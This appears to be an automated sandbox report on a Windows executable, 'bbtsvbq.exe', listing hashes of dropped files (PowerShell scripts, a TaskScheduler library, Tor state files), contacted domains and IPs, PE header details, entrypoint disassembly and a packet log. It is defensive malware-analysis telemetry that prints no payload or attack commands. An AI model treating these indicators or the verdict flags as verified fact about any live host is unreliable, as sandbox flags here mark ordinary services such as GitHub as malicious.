SHA-256:	8544B7DDCDCB8F09B816105EBF73EDAFF781B9AF1F28734297790338833E1329
SHA-512:	94415D08AFBF349D08F768B32C3BA0FD76D7FD8B77BA10D0AE159C208D2FA3BB65352DCC0ED390814D3B6C1E00D4469574881E67944F1C93AC9432796F6C875F
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\Microsoft.Win32.TaskScheduler.dll
File Type:	data
MD5:	761F9F272F1855C247136EB58E28A22F
SHA1:	C1146199555D54E7A78A1FAF9F148184FD484BD8
SHA-256:	E1698525F16EAC8C93BCBBA3798E02CBF5CF42E68EC7D0CBBC94F425A53A4F4C
SHA-512:	E436A957BB4CD378CE9874F65A88B6510D60F82ABF24FD1ED65F0269D8878468C839861000E49C9A6CEA725FCE5772BC59C488171485329ACC16C6142C27E7C1
Malicious:	true
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\de\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	787B226B9ECFE5AFCD942F6A795640B5
SHA1:	788388B018359FA77C06848B59CE9C5D47BF7849
SHA-256:	B4A8D59279E0895D54746443DB46694099C57863D07ADC3AE18EF8180D286AB9
SHA-512:	6676A20A7B75E96CAFA264C7526B8960EDFF22BD8BA88B5F203077783CD7CFDA34C21468DCFDCE9B0C90B146DA69DC7D94EB034AD7CF686B4A2A24F816BBFF49
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\es\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	83A6F0479B91C04BE2729C670ECDB336
SHA1:	900CF03C9ED77BBED5C7411B54F609DDD45F781A
SHA-256:	4048A9A4C2F8A9BD64728C035528C4CC3BF3ECD69EC44BA261856F28217F4388
SHA-512:	1BD3F58E7ACA2F118BCE93E1D9BB624476C8365D74D1261342ED945D5480DF9E22AB5997B88ED4449CFCEE83F19AE402129DB64CF1EA6E3E5B7CFB9CDCF54E1C
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\fr\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	0FDB999543E8612EFC9055FB0562EC76
SHA1:	F2DC747E97CE84E514513A16119A1B5221F47571
SHA-256:	9F524FF8B1FF0438D4D41A2226DAA8788B2BFDC9474BAB6166A36D9F24977886
SHA-512:	538078A8A5B4CCBDB3645BACFA2A47ED50F22C055390F4AFA73B1AF17964D99C5CAF490787087D074550BF22EF344C4AB57A0E01B248E53C6483B1C4086C7E77
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\it\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	BB714407F629204096092BA2DAD751BE
SHA1:	E3ABAEFADCAB33E084E41ED8135A2D649FB58223
SHA-256:	5FE35A05976E11AC1BF04014A96D1D0F289BDBC9A44ECA8A4063E298114BA76A
SHA-512:	AC017FD3BAE43687236112C57FA78E5BB6381E68745BA5757B2F49B3A54107357693C46A85DBE3CBAF270F08E4E9415932EFF8C583B281DB5C524CCDC562C059
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	857D42E2BE11292C49E547CE3998272B
SHA1:	EA9EF4B05ABF5A9F003E46196E0CCEC574267589
SHA-256:	B6732CFDD4D40FB2CB47601EF55A0DCE62474F70836CB9F5044FA169B29A533D
SHA-512:	1DB2E8771336669443AD50599FE4C8DD13424F1128B2B257F8AC7EA89E79682AC751E946E6B0B7DEC0CFC254DA4069E81685FE3D04657567B41E1B2AC0971810
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\package\services\metadata\core-properties\b413d53c92364baa9958fdda02cd8e9a.psmdcp
File Type:	XML document text
MD5:	A577FF2FBC6DD751FFC20A5C4A399853
SHA1:	AED48DA9C52A2FC4C21E7C8E6FA400C170F521AC
SHA-256:	77212C5A3B2D98A7C9D732482AE96EB92B3C8E811AA8B93FA268B1DD65357AD8
SHA-512:	2A01612A1594C9ABFE75A6B9F305F0A7C11DAA63A03C597951288A6659CF332B131C0374F3A8B28A8C013C67E48ACD39FA67A07FF9B2945DFB733663A73A5E60
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1
File Type:	data
MD5:	FEB9F12F200160ECAC5857F43F9394E2
SHA1:	5826751ECDC000260ABC897605040BBEC220BDFB
SHA-256:	937731730C17A8B05DE26069A30145CDA15A5E22518A10CE37568ED26B77D433
SHA-512:	230BABE7A18741C9E13CD2D7D64F18A93A5899CB8223485D448DFA6E6BFBE909234B51266BB54004E169E25D22F9FE642679494CE8B1D2FE8144529447518DAA
Malicious:	true
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\user-PC.log
File Type:	ASCII text, with CRLF line terminators
MD5:	F2B5CEA80FB477D7933E8A707C4B920B
SHA1:	0B9DA67A8335CE9296ADCCAAA92FFBF109EDA539
SHA-256:	72A81B44F785EE43BBD2F84DCA06C22EC6D2BA27104A62ACA594DB4A3B2534A5
SHA-512:	BFAFE301DF9CC4872A3AF96E15E0C56D83F9D6C99E9BA9DEB49C5726DA401C61147A82645BD4A8C3AF40A941A563C9D22A6009D7A581723A7C655CD8BC2F7D3C
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp
File Type:	data
MD5:	0315F0EF7D14E0D13E2C606F2E9EAABA
SHA1:	7259A566F2EC38FB0D58EB5D35BF47855EF84B03
SHA-256:	17085F0350B29BE4BC37299A60DD29F812D1C9487C649CE2E45DCB7D352DBB44
SHA-512:	B2FA4147F58582D6CCEB94859007F1294DC3FFB062C96405A38C57288A54E06D28AD8081EE80F470EEF6440CF0CBAD59D99DEA508795D4699AF0C6C1D88A0554
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1
File Type:	data
MD5:	092003359507552C5CD880B82600A155
SHA1:	D5CB64600D5A9F90D374DE9D63A52681CA26FDE4
SHA-256:	F015B6F06836DEA668070B3A6867F1087C1AB1362F6991ACB181CAAD7A77792C
SHA-512:	A6BDCAF00644838C43E00C7D940740FB1DD2274954669B129F8E742F34A111FCC0D9C4121B29151D39AC5D15812C41B81312EBEA9F0ECF34491A57E89EDD3BB6
Malicious:	false
Reputation:	unknown

C:\Users\user~1\AppData\Local\Temp\o8NqEAtZ.ps1
File Type:	data
MD5:	8C2252BAC4C3AE56066D6AD61BA590CD
SHA1:	AC346AA6BBD1EAB0E1FD48A77D8C020DF8E392A0
SHA-256:	71FADE68FE6531F6B7D087D09A5A78853484DFC928587808E7EECDC558D737E8
SHA-512:	CDDCDB511BE2A3D21544A299E602DADD3A996A8736585B6402D644B8527541DDDF140BEAF63034C2C1AEA789E020F1FA8B8215D0DE1DD197981657F952821660
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\8LtgeHPulp.zip
File Type:	Zip archive data, at least v1.0 to extract
MD5:	A1A95133D578684DEB8EC3F74695C923
SHA1:	F1FC5B44A2B9C1D0E38FABE42224AF820A883648
SHA-256:	FB4C330361D8A7449ED4B9A30848BDAD47616166AF64F7ACE4C71EAD83464780
SHA-512:	FDAE45C4D769CFC7B7B3029C6ECC1018C33BF61EFDD677F91A23DE6D0B5A96AD04ED3DCE8DE77F9708B5FAD26E832241ADDC6D27621A633DAD1E524FFF54FB50
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\9kehql3e.0.cs
File Type:	UTF-8 Unicode (with BOM) text
MD5:	75930B871EE7010706C690CD3E82AF46
SHA1:	888C0371CC87C5740E2E28DFB896D9D7FEE1EA2B
SHA-256:	C810BD87BC35476B0D379D29165F4B69CDDC784097A27564056DFC3DD0291106
SHA-512:	3216DD6DAF0127817A3E3117CCFAE5305CD98B6290BE174C096F4E879CD615070E7BE02AAE7437F87894D569FA935762BD33351672A5775A2D59CA244625E0D0
Malicious:	true
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
MD5:	168552DDBABC4FD8D4DD8266B3366322
SHA1:	2A640533B5BB844A0EB3D44BCDA829072FED3F3D
SHA-256:	F9C2424E256653A5593524DA06301DD0D1789DCC928B4E437C5E10AB09769741
SHA-512:	3FF7F675327531865484E4B99FEB3C7B0A6FED79F13EC6436283A85E8B8B3EF5DCD3EC9D993FA782FF8696DD2B6BC3DF40E4C6435D38259CC6E2CAD76AA86D9C
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\9kehql3e.dll
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:	9DB1C25832BE6E70BFFB080BBD3ED97E
SHA1:	5025FE2BCEAD3D74FDADF296F97E8FA519E510D0
SHA-256:	6A93874FBF64F69A6BDD4FC074ADD7DB3F17010A6CCC980B663C37EE9E900741
SHA-512:	8D8E01FA981B723A45D363398C25BAA7BF1138AF81D071DC79F5E9EE1D8CC8B622373140ABEE88853D357B5320998E691DF89D812072E810F434A4A70359FC93
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\9kehql3e.out
File Type:	ASCII text, with CRLF line terminators
MD5:	182738883BFDFB548627BEC18305C7EE
SHA1:	FD5A8D41B96844985C0DC21116CFA689CED8AABE
SHA-256:	5026CA6D4A10F43342AC0AD1E7536686D1E32DE5EAA6E9478BDA11FCA1B78622
SHA-512:	9A029DF52BAE31B8E69BADECA6AD4A8DA19D12557EDFCC2A85DD0C85EBEA9090E79CAD09DC4DCF9D905D73628FA41FDD7D0A2577D4B4A716DA0A6EEA02ADF3D0
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\9kehql3e.pdb
File Type:	data
MD5:	DD58DACDA3ADD9FFD5DE2209E044A028
SHA1:	B0EA40AA987BD21EBA3DAEAC29C6407CB809D635
SHA-256:	EDD251BA1FD35457CFC4E9E08E5D801007F5FD88FE9A39AC161F340C56EA0422
SHA-512:	9F351BA715BDF3183720168628B8CB50EEC136639353CC3739FCAFF7206CA337E9F8DD9BA1B967BA8EE781C33C94461AD99CBDDC4C43957FFF3D990D70D22B75
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\CSC8E0E.tmp
File Type:	MSVC .res
MD5:	928E63CBBDB563E8406FCD5AC273BA27
SHA1:	2ADD15E08FAF6071AE78C2926FD61456AC5D55FB
SHA-256:	E480389EC95620FED8394A4721319597761A6D9DC03706E7DEAF00C738729569
SHA-512:	D4E693C03EE6DC7BEF097D4C412C69B3283FE998A9872F2421926462CE10403676AC1FBFF3A8933C9CB6A614F7534EABFD66A89CBE9F7329EA15CFA6209B2E4B
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\QKB6w.zip
File Type:	Zip archive data, at least v2.0 to extract
MD5:	9FEF06AB142D9007D79FFF1D7EA2D075
SHA1:	938BB81D61227B7E714F1FE4747B0BD79CC053CE
SHA-256:	60EAF06EB6527D9AAD26BBC27195B58E5A6F1368CD382B656EA6E3F10347EF1F
SHA-512:	C8574023B66A0FB649D78B9F88945A0C44EEA9BA5712A73D150BE2DA9C8D7D60D5D18D14CF83BB3B729880FABFB3DDC2312E70AA7B60BAA28DAFC7178C6A3CFF
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Local\Temp\sX7raTm2LP.zip
File Type:	Zip archive data, at least v1.0 to extract
MD5:	BA440C2160F5A58B99D9167570379D56
SHA1:	EAD173AD9ED169B8E027AB5E1A308DAC9C84BE17
SHA-256:	C1157AC56608D7B521F354BFF21ECB6693C2B4203283C4AE4CF868D650362C67
SHA-512:	79B008C2AC18CD3F80D47F96A271C52C167BC41CE36E0EB07A358E23F6847A8155D3A3C718A0746C5C0FD43C11B97E7929A8BA684383C17C71AE48F8693E3132
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8IIFQBIMRMTL0G3DEXVU.temp
File Type:	data
MD5:	F667CEAC87AC1D19DE2C8DA601367197
SHA1:	F330937055918BF1939EB8C1E287C0D9379CCE14
SHA-256:	2E1E309D2A5424FA48D5C07915C0783A66AD32EDE178FA4F33AE55E7ABBC5920
SHA-512:	FE249D61CC6BB9E4B455D9F6C93808B1A3CC812A7D685A788435855954B6262C71D4B9BE88F6F37AFC2767B77B6A593DD8914EBDDB9737F1609AE9537CE98649
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UHC9RCCY7RKWS4IGNUST.temp
File Type:	data
MD5:	F667CEAC87AC1D19DE2C8DA601367197
SHA1:	F330937055918BF1939EB8C1E287C0D9379CCE14
SHA-256:	2E1E309D2A5424FA48D5C07915C0783A66AD32EDE178FA4F33AE55E7ABBC5920
SHA-512:	FE249D61CC6BB9E4B455D9F6C93808B1A3CC812A7D685A788435855954B6262C71D4B9BE88F6F37AFC2767B77B6A593DD8914EBDDB9737F1609AE9537CE98649
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZUKI3JL57O2S5JNSSXDV.temp
File Type:	data
MD5:	541A21C3E00D6BD7F1C49310DDAC818D
SHA1:	5927A86F149E8B9C54F86404043059B65ECC4303
SHA-256:	AA3594A26EFCFBA89EA21C5F420FC51E089D64AD06F14C2E958CF7363B0A792E
SHA-512:	FB3173DC5A50CF7F90D1CBC90DF19370491CB8CD31B624293B1734FB2F3EC2492F8CD68946F7AABB037D77AFDF74AFD9106759F7EA42CE2F152F7F5988043763
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\tor\cached-certs.tmp
File Type:	ASCII text, with CRLF line terminators
MD5:	2F2EEDC663898FA6EEDC943203DB13E8
SHA1:	CF3AA3E3C86B1DD4200473C6B814E4DF349D2C0D
SHA-256:	1CAF2C37682318350051A964B4A6A13A6DA6EE0B6501906DF19C61DD10E8BCF4
SHA-512:	32B228AC9BF5B058821B923A74F29D96F2DE79294A84433FBD134418F65B42B9AACE5E8790F6824CC703B44555CFE6CC639AD767DA27D0381D8004EAF61905E3
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus.tmp
File Type:	ASCII text, with CRLF line terminators
MD5:	7138BB8B82D52108C6452F08A8CA7224
SHA1:	51E12CFF4358BAA3C5EB548FE24BECFA5ED647CF
SHA-256:	51B881F8865200EB23B52756FB3B80C887546C6316C3C850744BFA2BDB97A822
SHA-512:	0DC9561C3A42BF6CEABE5667097C118749C6E5AA92F496DD83D0EF8FC9D70200445DD9F877D387E86B537B47B1C3A855A49A235DD4EC110AE5E39D04BFF96B57
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\tor\cached-microdescs.new
File Type:	ASCII text, with very long lines
MD5:	E9FE6AFD1A072CC6A5149F23441B3A71
SHA1:	421F1EFEDD0FEAD20F6E00FB3F864ED5F9A650E2
SHA-256:	3AAEBE7A8223B5DA0369F3182B2B1F92E3121BE39FFB193A6F2891CCDD5BB6CD
SHA-512:	62168B2845A8908B8447E492FFED257882DFEA5B1532B13F24F7265EFE85B5712DA717366455401369FC9F8025CABBE96B828006353CA4C42FA4A984EA1345D3
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\tor\state.tmp
File Type:	ASCII text, with CRLF line terminators
MD5:	3B89282A17476239A95920F85D235122
SHA1:	0B17125FF17D5D07E05449163AA1EC2AA98C656B
SHA-256:	CBD0F55043B2799F8D921DD18F569616D954D9682BA9480E04881E5121AEFC6B
SHA-512:	786B5F95B20F7078DDF403D38C18957EEF08A3C618D68608DEE124DE1C1EB9B60E4C6D3C7C3F8B4A7EF84EDF918F7C2414E8E43765B8960D43CEFB75FEA83881
Malicious:	false
Reputation:	unknown

C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus.tmp
File Type:	ASCII text, with CRLF line terminators
MD5:	7138BB8B82D52108C6452F08A8CA7224
SHA1:	51E12CFF4358BAA3C5EB548FE24BECFA5ED647CF
SHA-256:	51B881F8865200EB23B52756FB3B80C887546C6316C3C850744BFA2BDB97A822
SHA-512:	0DC9561C3A42BF6CEABE5667097C118749C6E5AA92F496DD83D0EF8FC9D70200445DD9F877D387E86B537B47B1C3A855A49A235DD4EC110AE5E39D04BFF96B57
Malicious:	false
Reputation:	unknown

\cygwin-e9cd40e18d31b937-2280-
File Type:	data
MD5:	F4D4E5458492D918C50DC4262621F333
SHA1:	5CECC618C982F2E65EF68295D432F632136C3BCB
SHA-256:	B36584D49270973C7157608E552A13AB551BF084D9E98F5D0A249B192ED2AF14
SHA-512:	0047B37F8525CA0373B36BAB0414919AC070E8CBBD38F96775F170E1EEF9257BF2BE121D10F23C19FCE7D2683466839E921D59A4129A736E490EE6A2050CBD49
Malicious:	false
Reputation:	unknown

unknown
File Type:	ASCII text, with CRLF line terminators
MD5:	F2B5CEA80FB477D7933E8A707C4B920B
SHA1:	0B9DA67A8335CE9296ADCCAAA92FFBF109EDA539
SHA-256:	72A81B44F785EE43BBD2F84DCA06C22EC6D2BA27104A62ACA594DB4A3B2534A5
SHA-512:	BFAFE301DF9CC4872A3AF96E15E0C56D83F9D6C99E9BA9DEB49C5726DA401C61147A82645BD4A8C3AF40A941A563C9D22A6009D7A581723A7C655CD8BC2F7D3C
Malicious:	true
Reputation:	unknown

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection
torproject.urown.net	212.51.156.17	true	true	0%, virustotal, Browse
api.nuget.org	93.184.221.200	true	false	0%, virustotal, Browse
codeload.github.com	192.30.253.121	true	true	0%, virustotal, Browse
dist.torproject.org	89.45.235.21	true	true	0%, virustotal, Browse
chocolatey.org	104.20.73.28	true	true
api.ipify.org	174.129.241.106	true	true
github.com	192.30.253.112	true	true

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	ASN	ASN Name	Malicious
174.129.241.106	United States	14618	AMAZON-AES-AmazoncomIncUS	true
93.184.221.200	European Union	15133	EDGECAST-MCICommunicationsServicesIncdbaVerizonB	false
31.171.155.108	Albania	197706	KEMINETAL	true
192.30.253.112	United States	36459	GITHUB-GitHubIncUS	true
192.30.253.121	United States	36459	GITHUB-GitHubIncUS	true
208.80.154.39	United States	14907	WIKIMEDIA-WikimediaFoundationIncUS	true
127.0.0.1	unknown	unknown	unknown	false
154.35.175.225	United States	14987	RETHEMHOSTING-RethemHostingLLCUS	false
212.51.156.17	Switzerland	13030	INIT7CH	true
104.20.73.28	United States	13335	CLOUDFLARENET-CloudFlareIncUS	true
54.36.205.38	France	16276	OVHFR	true
85.25.213.211	Germany	8972	PLUSSERVER-ASDE	false
212.47.234.212	France	12876	AS12876FR	true
185.100.86.100	Romania	200651	FLOKINETSC	false
192.160.102.164	Canada	395089	HEXTET-HextetSystemsCA	false
89.45.235.21	Sweden	1653	SUNETSUNETSwedishUniversityNetworkSE	true

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bbtsvbq.exe
File size:	173568
MD5:	85fc638bd373af9a95c715bc4f8b97fc
SHA1:	ec945ed07ebb910543ca5aa2c5dc63746b6ad0ef
SHA256:	3364682795e325d16d563a2299da4f773db3a62f771f7dbf3ce8d31c0b08457d
SHA512:	700f060c476277a84b03679964c5a8f2e85423e718fe79eea09df6cc509f40bf9251a90fd618484a2a9a0e15bee3a43235faac6e5ef7a82516826b5b896931be
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........E...$...$...$..$....$..$....$..$....$..u}...$...z...$...z...$...z...$..M.#..$..M.&..$...$...$...z...$...z...$...$z..$...z...$.

File Icon

Static PE Info

General
Entrypoint:	0x401a40
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5A168637 [Thu Nov 23 08:26:31 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	b1d3e298564bd120709f8469bce58e9e

Entrypoint Preview

Instruction
call 00007F4250CE5F9Bh
jmp 00007F4250CE5823h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0040E06Ch]
push dword ptr [ebp+08h]
call dword ptr [0040E068h]
push C0000409h
call dword ptr [0040E070h]
push eax
call dword ptr [0040E074h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call 00007F4250CF026Dh
test eax, eax
je 00007F4250CE5997h
push 00000002h
pop ecx
int 29h
mov dword ptr [004299C8h], eax
mov dword ptr [004299C4h], ecx
mov dword ptr [004299C0h], edx
mov dword ptr [004299BCh], ebx
mov dword ptr [004299B8h], esi
mov dword ptr [004299B4h], edi
mov word ptr [004299E0h], ss
mov word ptr [004299D4h], cs
mov word ptr [004299B0h], ds
mov word ptr [004299ACh], es
mov word ptr [004299A8h], fs
mov word ptr [004299A4h], gs
pushfd
pop dword ptr [004299D8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004299CCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004299D0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004299DCh], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00429918h], 00010001h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2859c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0x1330	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0xfb0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x27920	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x279b4	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x27958	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc19b	0xc200	False	0.611952319588	data	6.66105320952	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x1ac62	0x1ae00	False	0.753188590116	data	7.04336942737	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x29000	0x131c	0xa00	False	0.17578125	AIX core file 32-bit 64-bit	2.2655082888	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0x2b000	0x9	0x200	False	0.033203125	data	0.0203931352361	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.gfids	0x2c000	0xf8	0x200	False	0.333984375	data	1.81127213449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0x1330	0x1400	False	0.36640625	data	5.70955878402	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0xfb0	0x1000	False	0.8046875	data	6.48549743322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2d0f0	0x10a8	data	German	Germany
RT_GROUP_ICON	0x2e198	0x14	MS Windows icon resource - 1 icon	German	Germany
RT_MANIFEST	0x2e1b0	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	HeapFree, InitializeCriticalSectionEx, HeapSize, GetLastError, HeapReAlloc, RaiseException, HeapAlloc, DecodePointer, DeleteCriticalSection, GetProcessHeap, WideCharToMultiByte, MultiByteToWideChar, CreateMutexA, WriteConsoleW, FlushFileBuffers, SetFilePointerEx, GetConsoleMode, GetConsoleCP, GetStringTypeW, SetStdHandle, CloseHandle, EnterCriticalSection, LeaveCriticalSection, CreateEventW, GetModuleHandleW, GetProcAddress, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, OutputDebugStringW, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, SetLastError, RtlUnwind, ExitProcess, GetModuleHandleExW, GetModuleFileNameA, GetStdHandle, WriteFile, GetACP, GetFileType, LCMapStringW, FindClose, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, CreateFileW
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoInitializeEx
OLEAUT32.dll	SysAllocString

Possible Origin

Language of compilation system	Country where language is spoken	Map
German	Germany
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2017 12:34:05.872494936 CET	51226	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:06.291428089 CET	53	51226	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:06.314798117 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:06.314846039 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.314913034 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:06.363594055 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:06.363651037 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.693922997 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.723968029 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.723984957 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.723989964 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.724131107 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:06.724225998 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.724241018 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.726641893 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:06.764777899 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:06.764801025 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:06.846204996 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.047656059 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.047749043 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.178915024 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.178944111 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.285655975 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.292741060 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.292762041 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.292844057 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.292861938 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.299765110 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.299777985 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.300149918 CET	49161	443	192.168.1.91	93.184.221.200
